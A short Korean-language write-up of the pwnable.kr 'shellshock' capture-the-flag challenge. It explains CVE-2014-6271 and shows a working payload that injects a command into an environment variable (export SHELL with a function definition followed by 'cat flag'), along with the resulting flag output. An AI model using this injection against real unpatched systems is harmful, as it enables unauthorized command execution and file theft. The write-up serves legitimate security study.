[pwnable.kr] shellshock

shellshock - 1 pt [writeup]

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

pwned (7142) times. early 30 pwners are : dromero

Flag? : auth

문제 접속 정보로 접속하고 ls -al로 파일을 보면 아래와 같다.

```
shellshock@pwnable:~$ ls -al
total 980
drwxr-x---   5 root shellshock       4096 Oct 23  2016 .
drwxr-xr-x 116 root root            4096 Nov 11 14:52 ..
-r-xr-xr-x   1 root shellshock     959120 Oct 12  2014 bash
d---------   2 root root            4096 Oct 12  2014 .bash_history
-r--r-----   1 root shellshock_pwn     47 Oct 12  2014 flag
dr-xr-xr-x   2 root root            4096 Oct 12  2014 .irssi
drwxr-xr-x   2 root root            4096 Oct 23  2016 .pwntools-cache
-r-xr-sr-x   1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r--   1 root root             188 Oct 12  2014 shellshock.c
```

Flag에 root, shellshock_pwn만 읽기 권한이 있다. 그리고 shellshock파일에도 shellshock_pwn 권한이 걸려 있는데 이 파일을 만든 것으로 보이는 shellshock.c를 보자.

```
#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}
```

현재 gid를 가져와 uid와 gid를 설정하고 bash를 실행한다. Shellshock 취약점은 환경 변수에 쉘스크립트 함수 형태로 문자열을 저장하고 쉘을 실행하면 함수 바로 뒤에 이어진 명령어가 실행되는 취약점이다.

```
shellshock@pwnable:~$ export SHELL="() { :;}; cat flag"
```

위와 같이 환경 변수를 등록하고 곧바로

쉘을 실행하는 shellshock를 실행하면 플래그를 구할 수 있다.

```
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
```